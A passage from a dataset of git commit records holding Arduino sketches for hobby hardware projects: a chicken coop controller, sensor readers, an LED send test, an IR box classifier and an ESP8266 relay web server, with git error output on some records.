'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"62b4deffc82764a3efe6fe2309465a545504cae1","subject":"Add initial stub out of arduino sketch.","message":"Add initial stub out of arduino sketch.\n","repos":"willvincent\/chicken-coop,willvincent\/chicken-coop","old_file":"Arduino\/coopController\/coopController.ino","new_file":"Arduino\/coopController\/coopController.ino","new_contents":"\/**\n * \\file\n * Arduino Chicken Coop Controller\n * \\author\n * Will Vincent <will@willvincent.com>\n *\/\n \n#include <Wire.h>\n#include <OneWire.h>\n#include <LiquidCrystal.h>\n#include <espduino.h>\n#include <mqtt.h>\n#include \"RTClib.h\"\n \n\/\/ print debug messages or not to serial\nconst boolean Debugging = true;\n\n\/\/ Digital & analog pins for various components\nconst int tempSense = 2; \/\/ DS18S20 Temperature Sensor\nconst int lightSense = A0; \/\/ Light Sensor\nconst int lampRelay = 10; \/\/ Lamp Relay\nconst int heaterRelay = 9; \/\/ Water Heater Relay\nconst int doorOpen = 37; \/\/ MotorA left\nconst int doorClose = 38; \/\/ MotorA right\nconst int doorSpeed = 39; \/\/ MotorA speed\nconst int doorTop = 40; \/\/ Reed Switch\nconst int doorBottom = 41; \/\/ Reed Switch\nconst int doorOpenLED = 11; \/\/ Indicator light (blinks during open\/close steady on when open)\nconst int doorClosedLED = 12; \/\/ Indicator Light (blinks during open\/close steady on when closed)\nconst int fan = 35; \/\/ MotorB left\nconst int fanSpeed = 36; \/\/ MotorB speed\nconst int rtcSDA = 20; \/\/ Real Time Clock SDA (i2c arduino mega)\nconst int rtcSCL = 21; \/\/ Real Time Clock SCL (i2c arduino mega)\n\n\/\/ LCD Pins\nconst int lcd_4 = 24; \/\/ LCD RS\nconst int lcd_5 = 25; \/\/ LCD R\/W\nconst int lcd_6 = 26; \/\/ LCD Enable\nconst int lcd_11 = 27; \/\/ LCD Data 4\nconst int lcd_12 = 28; \/\/ LCD Data 5\nconst int lcd_13 = 29; \/\/ LCD Data 6\nconst int lcd_14 = 30; \/\/ LCD Data 7\nconst int lcd_bl = 13; \/\/ LCD Backlight+\n\n\/\/ ESP8266 Settings\n#define debugger Serial \/\/ Pins 0 and 1\n#define espPort Serial1 \/\/ Pins 18 and 19\nconst int chpdPin = 3;\n\n\/\/ WIFI Settings\n#define wHost \"WIFI-SSID\"\n#define wPass \"WIFI-PASSWORD\"\n\n\/\/ MQTT Host Settings\n#define mHost \"domain.com\"\n#define mPort 1883\n\n\/\/ MQTT Subscription Channels\n#define sTime \"time\/beacon\"\n#define sRemote \"coop\/remotetrigger\"\n\n\/\/ MQTT Publish Channels\n#define pTemp \"coop\/temperature\"\n#define pLight \"coop\/brightness\"\n#define pStatus \"coop\/status\"\n\n\/\/ Misc Settings\nconst unsigned long millisPerDay = 86400000; \/\/ Milliseconds per day\nconst unsigned long debounceWait = 100; \/\/ Debounce timer (100ms)\nconst unsigned long remoteOverride = 600000; \/\/ Length of time to lockout readings. (10min)\nconst unsigned long readingInterval = 300000; \/\/ How often to take sensor readings. (5min)\nconst int fanThreshold = 78; \/\/ When temperature exceeds this threshold, turn on fan\nconst int heaterThreshold = 36; \/\/ When temperature is below this threshold, turn on water heater\n\n\n\/\/ Runtime variables\nunsigned long lastReading = 0;\nunsigned long lastDebounce = 0;\nunsigned long lastRTCSync = 0;\nString doorState = \"closed\"; \/\/ Values will be one of: closed, closing, open, opening\nboolean heaterState = false;\nboolean lampState = false;\nboolean fanState = false;\nfloat tempC;\nfloat tempF;\nint brightness;\n\nRTC_DS1307 rtc;\nOneWire ds(tempSense);\nLiquidCrystal lcd(lcd_4, lcd_5, lcd_6, lcd_11, lcd_12, lcd_13, lcd_14);\n\nESP esp(&espPort, chpdPin);\nMQTT mqtt(&esp);\nboolean wifiConnected = false;\n\nvoid wifiCb(void* response) {\n uint32_t status;\n RESPONSE res(response);\n \n if (res.getArgc() == 1) {\n res.popArgs((uint8_t*)&status, 4);\n if (status == STATION_GOT_IP) {\n if (Debugging) {\n debugger.println(\"WIFI CONNECTED\");\n }\n mqtt.connect(mHost, mPort);\n wifiConnected = true;\n }\n else {\n wifiConnected = false;\n mqtt.disconnect();\n }\n }\n}\n\nvoid mqttConnected(void* response) {\n if (Debugging) {\n debugger.println(\"MQTT Connected\");\n }\n mqtt.subscribe(sTime);\n mqtt.subscribe(sRemote);\n}\n\nvoid mqttDisconnected(void* response) {\n if (Debugging) {\n debugger.println(\"MQTT Disconnected\");\n }\n}\n\nvoid mqttPublished(void* response) {}\n\nvoid mqttData(void* response) {\n RESPONSE res(response);\n String topic = res.popString();\n String data = res.popString();\n if (Debugging) {\n debugger.print(\"MQTT Data Received: topic=\");\n debugger.print(topic);\n debugger.print(\" :: data=\");\n debugger.println(data);\n }\n \n if (topic == \"coop\/remotetrigger\") {\n \/\/ @TODO: Handle remote trigger for DOOR events\n \n if (data == \"light\") {\n toggleLamp();\n lastReading = millis() + remoteOverride;\n }\n \n if (data == \"water heater\") {\n toggleHeater();\n lastReading = millis() + remoteOverride;\n }\n \n if (data == \"fan\") {\n toggleFan();\n lastReading = millis() + remoteOverride;\n }\n }\n \n \/\/ Sync RTC to time beacon once\/day\n if (topic == \"time\/beacon\") {\n if ((millis() - millisPerDay) > lastRTCSync) {\n rtc.adjust(atoi(data.c_str()));\n lastRTCSync = millis();\n }\n }\n}\n\n\/**\n * Toggle Lamp\n *\/\nvoid toggleLamp() {\n if (lampState) {\n digitalWrite(lampRelay, LOW);\n mqtt.publish(pStatus, \"light|off\");\n }\n else {\n digitalWrite(lampRelay, HIGH);\n mqtt.publish(pStatus, \"light|on\");\n }\n lampState = !lampState;\n}\n\n\/**\n * Toggle Heater\n *\/\nvoid toggleHeater() {\n if (heaterState) {\n digitalWrite(heaterRelay, LOW);\n mqtt.publish(pStatus, \"water heater|off\");\n }\n else {\n digitalWrite(heaterRelay, HIGH);\n mqtt.publish(pStatus, \"water heater|on\");\n }\n heaterState = !heaterState;\n}\n\n\/**\n * Toggle Fan\n *\/\nvoid toggleFan() {\n if (fanState) {\n digitalWrite(fan, LOW);\n digitalWrite(fanSpeed, LOW);\n mqtt.publish(pStatus, \"fan|off\");\n }\n else {\n digitalWrite(fan, HIGH);\n digitalWrite(fanSpeed, HIGH);\n mqtt.publish(pStatus, \"fan|on\");\n }\n fanState = !fanState;\n}\n\n\/**\n * get Temperature Reading (in celcius)\n *\/\nfloat getTemp() {\n byte data[12];\n byte addr[8];\n \n if (!ds.search(addr)) {\n \/\/ No more sensors on chain, reset search\n ds.reset_search();\n return -1000;\n }\n \n if (OneWire::crc8(addr, 7) != addr[7]) {\n if (Debugging) {\n debugger.println(\"Error reading temperature sensor: CRC is not valid!\");\n }\n return -1000;\n }\n \n if (addr[0] != 0x10 && addr[0] != 0x28) {\n if (Debugging) {\n debugger.println(\"Error reading temperature sensor: Device is not recognized\");\n }\n return -1000;\n }\n \n ds.reset();\n ds.select(addr);\n ds.write(0x44,1); \/\/ Start conversation, with parasite power on at the end\n \n byte present = ds.reset();\n ds.select(addr);\n ds.write(0xBE); \/\/ Read Scratchpad\n \n for (int i = 0; i < 9; i++) {\n data[i] = ds.read();\n }\n \n ds.reset_search();\n \n byte MSB = data[1];\n byte LSB = data[0];\n \n float tempRead = ((MSB << 8) | LSB);\n float TemperatureSum = tempRead \/ 16;\n \n return TemperatureSum;\n}\n\nvoid updateLCD() {\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\"T \");\n lcd.print(tempF);\n lcd.print(\"F | L \");\n lcd.print(brightness);\n lcd.print(\"%\");\n lcd.setCursor(0,1);\n lcd.print(\"Door: \");\n lcd.print(doorState);\n}\n\n\/****************************\/\n\nvoid readSensors() {\n \/\/ Fetch temp and convert to farenheit\n tempC = getTemp();\n tempF = ((tempC * 9.0) \/ 5.0) + 32;\n char tempStr[5];\n mqtt.publish(pTemp, dtostrf(tempF, 5, 1, tempStr));\n \n \/\/ Read light sensor and convert to brightness percentage\n brightness = analogRead(tempSense);\n brightness = map(brightness, 746, 13, 0, 100); \/\/ Remap value to a 0-100 scale\n brightness = constrain(brightness, 0, 100); \/\/ constrain value to 0-100 scale\n char briStr[3];\n mqtt.publish(pLight, dtostrf(brightness, 3, 0, briStr));\n \n lastReading = millis();\n}\n\n\n\nvoid setup() {\n if (Debugging) {\n debugger.begin(115200);\n debugger.println(\"Initialising...\");\n }\n espPort.begin(115200);\n esp.enable();\n delay(500);\n esp.reset();\n delay(500);\n while(!esp.ready());\n \n if (Debugging) {\n debugger.println(\"ARDUINO: Setup MQTT client\");\n }\n if (!mqtt.begin(\"coop_duino\", \"\", \"\", 120, 1)) { \/\/ client_id, username, password, keepalive time, cleansession boolean\n if (Debugging) {\n debugger.println(\"ARDUINO: Failed to setup MQTT\");\n }\n while(1);\n }\n \n mqtt.connectedCb.attach(&mqttConnected);\n mqtt.disconnectedCb.attach(&mqttDisconnected);\n mqtt.publishedCb.attach(&mqttPublished);\n mqtt.dataCb.attach(&mqttData);\n \n if (Debugging) {\n debugger.println(\"ARDUINO: Setup WIFI\");\n }\n esp.wifiCb.attach(&wifiCb);\n esp.wifiConnect(wHost, wPass);\n \n \n \/**\n * Setup pin modes\n *\/\n pinMode(lampRelay, OUTPUT);\n pinMode(heaterRelay, OUTPUT); \n pinMode(doorOpen, OUTPUT);\n pinMode(doorClose, OUTPUT);\n pinMode(doorSpeed, OUTPUT);\n pinMode(doorOpenLED, OUTPUT);\n pinMode(doorClosedLED, OUTPUT);\n pinMode(doorTop, INPUT);\n pinMode(doorBottom, INPUT);\n pinMode(fan, OUTPUT);\n pinMode(fanSpeed, OUTPUT);\n pinMode(lcd_bl, OUTPUT);\n \n \/\/ Pin defaults\n digitalWrite(lampRelay, LOW);\n digitalWrite(heaterRelay, LOW);\n digitalWrite(doorOpen, LOW);\n digitalWrite(doorClose, LOW);\n digitalWrite(doorSpeed, LOW);\n digitalWrite(doorOpenLED, LOW);\n digitalWrite(doorClosedLED, LOW);\n digitalWrite(doorTop, HIGH); \/\/ Enable resistor\n digitalWrite(doorBottom, HIGH); \/\/ Enable resistor\n digitalWrite(fan, LOW);\n digitalWrite(fanSpeed, LOW);\n digitalWrite(lcd_bl, HIGH);\n \n lcd.begin(16,2);\n}\n\n\n\nvoid loop() {\n esp.process();\n \n if ((millis() - readingInterval) > lastReading) {\n \/\/ Do stuff!\n readSensors();\n updateLCD();\n \/\/ \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/coopController\/coopController.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b595c92a15a0171e0e0fb5ceee85be00e29f91a0","subject":"Adding draft Arduino code","message":"Adding draft Arduino code\n","repos":"mox17\/teensy-car-sensors,mox17\/teensy-car-sensors,mox17\/teensy-car-sensors,mox17\/teensy-car-sensors","old_file":"hall-effect-blink\/hall-effect-blink.ino","new_file":"hall-effect-blink\/hall-effect-blink.ino","new_contents":"\/* \n * Hall-effect sensors and ultrasound sensors\n *\/\n#include <NewPing.h>\n\n\/\/ Hall-effect pin configuration\nconst int ledPin = 13; \/\/ Flash LED on hall-effect state change \nconst int hallPin1 = 5;\nconst int hallPin2 = 6;\n\n\/\/ Hall effect variables\nvolatile int hCount = 0; \/\/ high (rise) count\nvolatile int lCount = 0; \/\/ low (fall) count\nvolatile int tCount = 0; \/\/ Total state changes\nvolatile bool forward = true; \/\/ Determined from phase between two sensors (overlapping pulses from sensors expected)\nvolatile bool flip=false;\n\n\/\/ Sonar setup\nconst int maxDistance = 200; \/\/ Maximum distance we want to ping for (in centimeters). Maximum sensor distance is rated at 400-500cm.\n\nconst int ultraSound1TrigPin = 10; \nconst int ultraSound1EchoPin = 10;\n\nconst int ultraSound2TrigPin = 11;\nconst int ultraSound2EchoPin = 11;\n\nconst int ultraSound3TrigPin = 12;\nconst int ultraSound3EchoPin = 12;\n\nconst unsigned int sonarCount = 3;\n\nNewPing sonarArray[sonarCount] = {\n NewPing(ultraSound1TrigPin, ultraSound1EchoPin, maxDistance),\n NewPing(ultraSound2TrigPin, ultraSound2EchoPin, maxDistance),\n NewPing(ultraSound3TrigPin, ultraSound3EchoPin, maxDistance)\n};\n\nunsigned int pingSpeed = 80; \/\/ How frequently are we going to send out a ping (in milliseconds). 50ms would be 20 times a second.\nunsigned long pingTimer; \/\/ Holds the next ping time.\nunsigned int sonar = 0; \/\/ Index active sonar 0..(sonarCount-1)\nNewPing *currentSonar = &sonarArray[0];\nunsigned int sonarResults[sonarCount] = {0}; \/\/ Raw timing data\nint sonarUpdate = 0; \/\/ sonar event counter\n\nvoid hallEffectSetup()\n{\n pinMode(hallPin1, INPUT_PULLUP);\n pinMode(hallPin2, INPUT_PULLUP);\n pinMode(ledPin, OUTPUT);\n attachInterrupt(digitalPinToInterrupt(hallPin1), hallChange1, CHANGE);\n attachInterrupt(digitalPinToInterrupt(hallPin2), hallChange2, CHANGE);\n}\n\nvoid setup() \n{\n Serial.begin(115200);\n hallEffectSetup();\n pingTimer = millis(); \/\/ Start now.\n}\n\nint rotTrack = 0;\nint sonarTrack = 0;\n\nvoid loop() \n{\n \/\/ Display when new data is available\n if ((rotTrack != tCount) || (sonarTrack != sonarUpdate)) {\n rotationStatus();\n rotTrack = tCount;\n sonarStatus();\n sonarTrack = sonarUpdate;\n Serial.println(\"\");\n }\n \n if (millis() >= pingTimer) { \/\/ pingSpeed milliseconds since last ping, do another ping.\n pingTimer += pingSpeed; \/\/ Set the next ping time.\n \/\/ Select next sonar\n sonar = ++sonar % sonarCount;\n currentSonar = &sonarArray[sonar];\n\n currentSonar->ping_timer(echoCheck); \/\/ Send out the ping, calls \"echoCheck\" function every 24uS where you can check the ping status.\n \/\/Serial.print(sonar);\n }\n}\n\nvoid rotationStatus()\n{\n Serial.print(\" \");\n Serial.print(forward);\n Serial.print(\" \");\n Serial.print(tCount);\n Serial.print(\" \");\n Serial.print(lCount);\n Serial.print(\" \");\n Serial.print(hCount);\n}\n\nint hStatus1=0;\nint hStatus2=0;\n\n\/\/ ISR \nvoid hallChange1() \n{\n hStatus1 = digitalRead(hallPin1);\n if (hStatus1==HIGH) {\n hCount++;\n } else {\n lCount++;\n }\n tCount++;\n flip = !flip;\n digitalWrite(ledPin, flip);\n}\n\n\/\/ ISR \nvoid hallChange2() \n{\n hStatus2 = digitalRead(hallPin2);\n forward = hStatus1 == hStatus2;\n tCount++;\n flip = !flip;\n digitalWrite(ledPin, flip);\n}\n\nvoid sonarStatus()\n{\n \/\/Serial.print(\"Ping: \");\n for (int i=0;i < sonarCount; i++) {\n Serial.print(\" \");\n Serial.print(sonarResults[i] \/ US_ROUNDTRIP_CM); \/\/ Ping returned, uS result in ping_result, convert to cm with US_ROUNDTRIP_CM.\n }\n Serial.print(\"cm\");\n}\n\n\/\/ ISR \nvoid echoCheck() \n{ \/\/ Timer2 interrupt calls this function every 24uS where you can check the ping status.\n if (currentSonar->check_timer()) { \/\/ This is how you check to see if the ping was received.\n \/\/ Here's where you can add code.\n sonarResults[sonar] = currentSonar->ping_result;\n sonarUpdate++;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hall-effect-blink\/hall-effect-blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"91cfba88b556b49d3fa62a0d1adf1950c8d35787","subject":"some cosmetics","message":"some cosmetics\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Motion.ino","new_file":"ArduinoClient\/Motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"900551851df55e6ec40c7ad6d1f71b71b2079de2","subject":"add chip id sketch","message":"add chip id sketch\n","repos":"humulabs\/reaper,humulabs\/reaper,humulabs\/reaper,humulabs\/reaper","old_file":"sketches\/SAMDChipId\/SAMDChipId.ino","new_file":"sketches\/SAMDChipId\/SAMDChipId.ino","new_contents":"\/**\n * Print SAMD chip serial number.\n *\n * http:\/\/atmel.force.com\/support\/articles\/en_US\/FAQ\/Reading-unique-serial-number-on-SAM-D20-SAM-D21-SAM-R21-devices\n *\/\nvoid setup() {\n Serial.begin(9600);\n delay(1000);\n}\n\nvoid loop() {\n printChipId();\n delay(3000);\n}\n\nvoid printChipId() {\n volatile uint32_t val1, val2, val3, val4;\n volatile uint32_t *ptr1 = (volatile uint32_t *)0x0080A00C;\n val1 = *ptr1;\n volatile uint32_t *ptr = (volatile uint32_t *)0x0080A040;\n val2 = *ptr;\n ptr++;\n val3 = *ptr;\n ptr++;\n val4 = *ptr;\n\n Serial.print(\"chip id: 0x\");\n char buf[33];\n sprintf(buf, \"%8x%8x%8x%8x\", val1, val2, val3, val4);\n Serial.println(buf);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/SAMDChipId\/SAMDChipId.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0077508530d34d213338052f50fc5a557e5b3a45","subject":"Added HMTL Send test","message":"Added HMTL Send test\n","repos":"aphelps\/HTML,HMTL\/HMTL,HMTL\/HMTL,aphelps\/HMTL,HMTL\/HMTL,aphelps\/HTML,aphelps\/HMTL,aphelps\/HTML,HMTL\/HMTL,aphelps\/HMTL,aphelps\/HTML,aphelps\/HMTL","old_file":"HMTL_Modules\/HMTL_Send_Test\/HMTL_Send_Test.ino","new_file":"HMTL_Modules\/HMTL_Send_Test\/HMTL_Send_Test.ino","new_contents":"\/*\n * Basic RS485 socket send test\n *\/\n#include \"EEPROM.h\"\n#include <RS485_non_blocking.h>\n#include <SoftwareSerial.h>\n#include \"SPI.h\"\n#include \"Adafruit_WS2801.h\"\n#include \"Wire.h\"\n\n#define DEBUG_LEVEL DEBUG_HIGH\n#include \"Debug.h\"\n\n#include \"GeneralUtils.h\"\n#include \"EEPromUtils.h\"\n#include \"HMTLTypes.h\"\n#include \"PixelUtil.h\"\n#include \"RS485Utils.h\"\n#include \"MPR121.h\"\n\n#define HMTL_VERSION 3\n\n#if HMTL_VERSION == 1\n #define RED_LED 9\n #define GREEN_LED 10\n #define BLUE_LED 11\n #define WHITE_LED 13 \/\/ Only three LEDs on v2\n\n #define PIN_RS485_1 2\n #define PIN_RS485_2 7 \n #define PIN_RS485_3 4\n\n #define PIN_PIXEL_DATA 12\n #define PIN_PIXEL_CLOCK 8\n#elif (HMTL_VERSION == 2) || (HMTL_VERSION == 3)\n #define RED_LED 10\n #define GREEN_LED 11\n #define BLUE_LED 13\n\n #define PIN_RS485_1 4\n #define PIN_RS485_2 7 \n #define PIN_RS485_3 5\n\n #define PIN_PIXEL_DATA 12\n #define PIN_PIXEL_CLOCK 8\n#endif\n\n#define PIXELS\n#ifdef PIXELS\n Adafruit_WS2801 strip = Adafruit_WS2801(105, PIN_PIXEL_DATA, PIN_PIXEL_CLOCK);\n#else\n #define OUTPIN_1 8\n #define OUTPIN_2 12\n#endif\n\n#define DEST_ADDR 0x01 \/\/ Socket receive address\n \nRS485Socket rs485(PIN_RS485_1, PIN_RS485_2, PIN_RS485_3, (DEBUG_LEVEL != 0));\n#define SEND_BUFFER_SIZE (sizeof (rs485_socket_hdr_t) + 64)\nbyte databuffer[SEND_BUFFER_SIZE];\nbyte *send_buffer;\n\nvoid setup() {\n Serial.begin(9600);\n\n pinMode(RED_LED, OUTPUT);\n pinMode(GREEN_LED, OUTPUT);\n pinMode(BLUE_LED, OUTPUT);\n\n#ifdef WHITE_LED\n pinMode(WHITE_LED, OUTPUT);\n#endif\n\n#ifdef PIXELS\n strip.begin();\n for (int i = 0; i < strip.numPixels(); i++) {\n strip.setPixelColor(i, 0);\n }\n strip.show();\n#else\n pinMode(OUTPIN_1, OUTPUT);\n#endif\n\n \/* Setup the RS485 connection *\/ \n rs485.setup();\n send_buffer = rs485.initBuffer(databuffer);\n\n DEBUG_PRINTLN(DEBUG_LOW, \"HMTL Send test initialized\");\n}\n\nint cycle = 0;\n\nvoid loop() {\n\n \/\/ Send the current cycle to the remote\n send_buffer[0] = (cycle & 0xFF00) >> 8;\n send_buffer[1] = (cycle & 0x00FF);\n rs485.sendMsgTo(DEST_ADDR, send_buffer, 2);\n\n switch (cycle % 4) {\n case 0:\n {\n DEBUG_PRINTLN(0, \"Recieved reset\");\n digitalWrite(RED_LED, LOW);\n digitalWrite(GREEN_LED, LOW);\n digitalWrite(BLUE_LED, LOW);\n#ifdef WHITE_LED\n digitalWrite(WHITE_LED, LOW);\n#endif\n#ifdef PIXELS\n for (unsigned int i=0; i < strip.numPixels(); i++) \n\tstrip.setPixelColor(i, 255, 255, 255);\n#else\n digitalWrite(OUTPIN_1, LOW);\n#endif\n break;\n }\n case 1: {\n digitalWrite(RED_LED, HIGH);\n digitalWrite(GREEN_LED, LOW);\n digitalWrite(BLUE_LED, LOW);\n#ifdef PIXELS\n for (unsigned int i=0; i < strip.numPixels(); i++) \n strip.setPixelColor(i, 255, 0, 0);\n#else\n digitalWrite(OUTPIN_1, HIGH);\n#endif\n break;\n case 2: {\n digitalWrite(RED_LED, LOW);\n digitalWrite(GREEN_LED, HIGH);\n digitalWrite(BLUE_LED, LOW);\n#ifdef PIXELS\n for (unsigned int i=0; i < strip.numPixels(); i++) \n\tstrip.setPixelColor(i, 0, 255, 0);\n#endif\n break;\n }\n case 3: {\n digitalWrite(RED_LED, LOW);\n digitalWrite(GREEN_LED, LOW);\n digitalWrite(BLUE_LED, HIGH);\n#ifdef PIXELS\n for (unsigned int i=0; i < strip.numPixels(); i++) \n\tstrip.setPixelColor(i, 0, 0, 255);\n#endif\n break;\n }\n }\n }\n\n delay(1000);\n cycle++;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'HMTL_Modules\/HMTL_Send_Test\/HMTL_Send_Test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"31677c9c8193d454c9011020459598039e63129c","subject":"Tidy up for CSV only mode","message":"Tidy up for CSV only mode\n","repos":"freephases\/lenr-logger","old_file":"LENR_Logger_0_0_0_1.ino","new_file":"LENR_Logger_0_0_0_1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/freephases\/lenr-logger.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"71320f672efef708d0da7ffbe0ec882e4a148271","subject":"version 1.1","message":"version 1.1\n\nWorks with IR Breakbeam Sensor.\r\nCan recognize \"small\" versus \"large\" boxes.\r\nBoxes must not be moving (need to fix to work with moving boxes).","repos":"baileyherms\/Pattern-Recognition,baileyherms\/Pattern-Recognition","old_file":"Pattern_Recognition.ino","new_file":"Pattern_Recognition.ino","new_contents":"\n#define LED_SMALL_PIN 14\n#define LED_LARGE_PIN 15\n#define IR_SENSOR_PIN_1 4\n#define IR_SENSOR_PIN_2 3\n\nstruct Features {\n bool IR_Sensor1;\n bool IR_Sensor2;\n};\n\nFeatures Feature_Extraction() {\n Features features;\n features.IR_Sensor1 = digitalRead(IR_SENSOR_PIN_1);\n features.IR_Sensor2 = digitalRead(IR_SENSOR_PIN_2);\n \n return features; \n}\n\nString Pattern_Recognition(Features features) {\n String box_size;\n \n if(features.IR_Sensor1 == LOW && features.IR_Sensor2 == LOW) {\n box_size = \"Large\";\n }\n else if(features.IR_Sensor1 == LOW && features.IR_Sensor2 == HIGH) {\n box_size = \"Small\";\n }\n else if(features.IR_Sensor1 == HIGH && features.IR_Sensor2 == LOW) {\n box_size = \"Small\";\n }\n else {\n box_size = \"None\";\n }\n return box_size;\n}\n\nvoid Accuation(String box_size) {\n Serial.println(box_size);\n if(box_size == \"Small\") {\n digitalWrite(LED_SMALL_PIN, HIGH);\n }\n else if(box_size == \"Large\") {\n digitalWrite(LED_LARGE_PIN, HIGH);\n }\n else if(box_size == \"None\") {\n \/\/Both LEDs are off\n }\n}\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n pinMode(LED_SMALL_PIN, OUTPUT);\n pinMode(LED_LARGE_PIN, OUTPUT);\n pinMode(IR_SENSOR_PIN_1, INPUT);\n digitalWrite(IR_SENSOR_PIN_1, HIGH);\n pinMode(IR_SENSOR_PIN_2, INPUT);\n digitalWrite(IR_SENSOR_PIN_2, HIGH);\n\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n digitalWrite(LED_SMALL_PIN, LOW);\n digitalWrite(LED_LARGE_PIN, LOW);\n\n \/\/Should put feature extraction and pattern recognition in one multi-second for loop to\n \/\/give the box time to go through the sensors.\n Features feature_states;\n feature_states = Feature_Extraction();\n\n String pattern_size;\n pattern_size = Pattern_Recognition(feature_states);\n\n Accuation(pattern_size);\n\n delay(1000);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Pattern_Recognition.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"84c329fd7ccdf1e9550539f212baafb9b534983b","subject":"Added my iot board code","message":"Added my iot board code\n\nButtons and lights and fun","repos":"dxhackers\/cybermaze,dxhackers\/cybermaze,dxhackers\/cybermaze","old_file":"ino\/ iotmazecontroller.ino","new_file":"ino\/ iotmazecontroller.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dxhackers\/cybermaze.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f583e50954807873fb9f01550bee9a1a70cfa109","subject":"relay_head_2.ino","message":"relay_head_2.ino\n\nodd relay","repos":"bubblestack\/hydroop","old_file":"relay_head_2.ino","new_file":"relay_head_2.ino","new_contents":"\n\/\/ relay_head_2\n\/\/ odd\n\n#include <ESP8266WiFi.h>\n\nconst char* ssid = \"...\";\nconst char* password = \"...\";\n\nIPAddress ip(2, 2, 2, 225); \nIPAddress gateway(2,2,2,2);\nIPAddress subnet(255,255,255,0);\n\n\/\/ Create an instance of the server\n\/\/ specify the port to listen on as an argument\nWiFiServer server(80);\n\nvoid setup() {\n Serial.begin(115200);\n delay(1000);\n\n \/\/ prepare GPIO pins\n pinMode(16, OUTPUT);\n pinMode(14, OUTPUT);\n pinMode(13, OUTPUT);\n pinMode(12, OUTPUT);\n pinMode(5, OUTPUT);\n pinMode(3, OUTPUT);\n pinMode(2, OUTPUT);\n \/\/ pinMode(1, OUTPUT);\n pinMode(4, OUTPUT);\n pinMode(15, OUTPUT);\n \n \/\/ clear relay state \n \n digitalWrite(16, 1);\n digitalWrite(14, 1);\n digitalWrite(13, 1); \n digitalWrite(12, 1);\n digitalWrite(5, 1);\n digitalWrite(3, 1);\n digitalWrite(2, 1);\n \/\/ digitalWrite(1, 1); \n digitalWrite(4, 1); \n digitalWrite(15, 1); \n \n \/\/ Connect to WiFi network\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.config(ip, gateway, subnet);\n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n \n \/\/ Start the server\n server.begin();\n Serial.println(\"Server started\");\n\n \/\/ Print the IP address\n Serial.println(WiFi.localIP());\n}\n\nvoid loop() {\n \/\/ Check if a client has connected\n WiFiClient client = server.available();\n if (!client) {\n return;\n }\n \n \/\/ Wait until the client sends some data\n Serial.println(\"new client\");\n while(!client.available()){\n delay(1);\n }\n \n \/\/ Read the first line of the request\n String req = client.readStringUntil('\\r');\n Serial.println(req);\n client.flush();\n \n \/\/ Match the request\n int pin;\n int state;\n int relay;\n String pwr_state;\n \n\/\/ # ESP8266 GPIO 4 = pin 22\n if (req.indexOf(\"\/gpio\/1\/1\") != -1)\n {\n pin= 4; \n state = 0;\n relay = 1;\n\n }\n else if (req.indexOf(\"\/gpio\/1\/0\") != -1)\n {\n pin = 4;\n state = 1;\n relay = 1;\n }\n\/\/# ESP8266 GPIO 2 = pin 20\n else if (req.indexOf(\"\/gpio\/3\/1\") != -1)\n {\n pin= 2; \n state = 0;\n relay = 3;\n \n }\n else if (req.indexOf(\"\/gpio\/3\/0\") != -1)\n {\n pin = 2;\n state = 1;\n relay = 3;\n }\n\n\n\/\/# ESP8266 GPIO 5 = PIN 11 \n else if (req.indexOf(\"\/gpio\/5\/1\") != -1)\n {\n pin= 5; \n state = 0;\n relay = 5;\n }\n else if (req.indexOf(\"\/gpio\/5\/0\") != -1)\n {\n pin = 5;\n state = 1;\n relay = 5;\n }\n\/\/# ESP8266 GPIO 12 = pin 16\n else if (req.indexOf(\"\/gpio\/7\/1\") != -1)\n {\n pin= 12; \n state = 0;\n relay = 7;\n }\n else if (req.indexOf(\"\/gpio\/7\/0\") != -1)\n {\n pin = 12;\n state = 1;\n relay = 7;\n }\n\n\/\/# ESP8266 GPIO 13 = pin 18 \n else if (req.indexOf(\"\/gpio\/9\/1\") != -1)\n {\n pin= 13; \n state = 0;\n relay = 9;\n }\n else if (req.indexOf(\"\/gpio\/9\/0\") != -1)\n {\n pin = 13;\n 